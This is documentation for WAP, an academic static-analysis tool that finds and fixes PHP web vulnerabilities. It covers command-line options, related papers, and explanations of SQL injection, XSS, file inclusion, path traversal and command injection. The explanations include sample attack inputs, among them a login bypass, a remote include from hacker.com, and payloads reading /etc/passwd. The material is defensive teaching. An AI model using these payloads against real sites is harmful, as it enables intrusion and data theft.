Usage:

wap [options] -p <project>
wap [options] file(s)

Options:

• -a: detects vulnerabilities, without corrected them


• -s: shows only global summary


• -sqli: detects SQLI vulnerabilities. If not used with -a, also automatically corrects them


• --dbms <dbms>: specifies DBMS used by the application. Available DBMS: MySql, DB2, PostgreSQL. This option is only used with -sqli option and by default MySQL is selected. Options used to DBMS: mysql, db2, pg


• -ci: detects RFI/LFI/DT/SCD/OS/PHP Injections vulnerabilities. If not used with -a, also automatically corrects them


• -xss: detects Reflected and Stored XSS vulnerabilities. If not used with -a, also automatically corrects them


• -all: detects all types of vulnerabilities. The same of "-sqli -ci -xss". If not used with -a, also automatically corrects them


• -out <arg>: forwards the stdout to a file specified in arg


• -p <project>: specifies project location


• file(s): specifies php file or php files


• -h, -help: display this information

Ibéria Medeiros, Nuno Neves, Miguel Correia. Equipping WAP with weapons to Detect Vulnerabilities. Proceedings of the 46th IEEE/IFIP International Conference on Dependable Systems and Networks (DSN'16), Toulouse, France, June 2016. (paper)

Ibéria Medeiros, Nuno Neves, Miguel Correia. Detecting and Removing Web Application Vulnerabilities with Static Analysis and Data Mining. IEEE Transactions on Reliability, Mach 2016. (journal)

Ibéria Medeiros, Nuno Neves, Miguel Correia. Web Application Protection with the WAP tool (fast abstract). Proceedings of the 44th IEEE/IFIP International Conference on Dependable Systems and Networks (DSN'14), Atlanta, Georgia USA, June 2014. (paper)

Ibéria Medeiros, Nuno Neves, Miguel Correia. Automatic Detection and Correction of Web Application Vulnerabilities using Data Mining to Predict False Positives. Proceedings of the 23rd International Conference on World Wide Web (WWW), Seoul, Korea, 11 pages, April 2014. (paper)(slides)

Ibéria Medeiros, Nuno Neves, Miguel Correia. Securing Energy Metering Software with Automatic Source Code Correction. Proceedings of the IEEE International Conference on Industrial Informatics (INDIN), Bochum, Germany, 6 pages, July 2013. (paper)(slides)

SQL Injection:

SQL injection (SQLI) vulnerabilities are caused by the use of string-building techniques to execute SQL queries. SQLI attacks mix normal characters with metacharacters to modify the structure of the query and read or write the database in an unexpected way. Figure 1 shows a PHP script vulnerable to SQLI. It inserts in a SQL query (line 4) the username and password provided by the user (lines 2, 3). If the user is malicious he/she can provide as username admin’ -- , causing the script to execute a query that returns information about the user admin without the need of providing a password: SELECT * FROM users WHERE username=‘admin’ -- AND password=‘foo’. This vulnerability can be removed either by sanitizing the inputs (removing or encoding metacharacters such as the prime and the comment symbol “- -”) or by using prepared statements. We opted by the former because it requires simpler modifications to the code. Sanitization depends on the sensitive sink, i.e., on the way in which the input is used. For SQL and the MySQL database, PHP provides the mysql real escape string function. The username introduced in the script of Figure 1 could be sanitized in line 2: $user = mysql real escape string($ POST[‘user’]); (the same should be done in line 3).

Cross Site Scripting:

Cross-site scripting (XSS) attacks execute malicious code (typically JavaScript) in a victim’s browser. Differently from the other attacks we consider, a XSS attack is not against a web application itself, but one of its users. There are three main classes of XSS attacks depending on how the malicious code is sent to the victim (reflected or non-persistent, stored or persistent, and DOM-based) but we describe only reflected XSS for briefness. A script vulnerable to XSS can have a single line: echo $ GET[’username’];. The attack involves convincing the user to click on a link that accesses the web application, sending it a script that is reflected by the echo instruction and executed in the browser. This kind of attack can be prevented by sanitizing the input and/or by encoding the output. The latter consists in encoding metacharacters such as < and > in a way that they are interpreted as normal characters, instead of HTML metacharacters.

Remote File Inclusion:

Similarly to other scripting languages, PHP allows a script to include files, which can be a vulnerability if the file name takes user input. Remote file inclusion (RFI) attacks exploit this kind of vulnerability by forcing the script to include a remote file containing PHP code. For example, an attack against the script of Figure 2 might be to send as parameter country the URL http://www.hacker.com/hack, which would cause the execution of hack.php in the server.

Directory / Path Traversal:

A directory traversal or path traversal (DT/PT) attack consists in an attacker accessing unpredicted files, possibly outside the web site directory. To access these files, the attacker crafts an URL containing path metacharacters such as .. and /. For instance, if ../../../etc/passwd%00 is passed to the script of Figure 2, the /etc/passwd file is included in the web page and sent to the attacker (the null character (%00) truncates additional characters, .php in this case).

Local File Inclusion:

Local file inclusion (LFI) differs from RFI by inserting in a script a file from the file system of the web application, not a remote file. This kind of attack has been motivated by a default configuration introduced in PHP 4.2 that disallows remote file inclusion. LFI includes local files so the attacker needs to insert PHP code in the server beforehand, e.g., by injecting PHP code that is written into a log file by calling http://www.webtest.com/<?php+phpinfo();+?> (this file does not exist, so the URL is logged). The attacker can do a LFI attack by calling the script of Figure 2 with input /var/log/httpd/error log%00.

Source Code Disclosure:

The objective of source code disclosure (SCD) attacks is to access web application source code and configuration files. The attackers can use these files to find vulnerabilities and other information useful for attacking the site (e.g., misconfigurations, the database schema) or to steal the application source code itself. This vulnerability normally appears in applications that allow downloading files. Similarly to LFI, SCD may involve a DT/PT attack.

OS Command Injection:

An operating system command injection (OSCI) attack consists in forcing the application to execute a command defined by the attacker. Consider as example a script that uses the following instruction to count the words of a file: $words = shell exec(”/usr/bin/wc $_GET[’file’]”);. The attacker can do command injection by inserting a filename and a command separated by a semicolon, e.g., /usr/bin/wc paper.txt; cat /etc/passwd.

PHP Code Injection:

PHP injection attack consists of a script that does not properly validate user inputs in the page parameter. An attacker can supply a specially crafted URL to pass arbitrary code to an eval() statement, which results in code execution. The function eval() is used to evaluate php string as php code and its exploitation is termed as Direct Dynamic Code Evaluation (‘Eval Injection’).  Consider as example the script of Figure 3 that uses the eval function to concatenate the string "Hello" with the user name supplied by user, at line 3. The attacker can do command injection by inserting a username and a command separated by a semicolon, e.g., Bob; cat /etc/passwd. Even, the attacker can do XSS by inserting a javascript, which will be executed in line 4.

Sanitization functions used to untainting and fix PHP code, by vulnerability and sensitive sinks. (1) Function deprecated replaced by mysql_query function. (2) Function deprecated replaced by mysqli_stmt_execute function. (3) WAP-specific sanitization functions.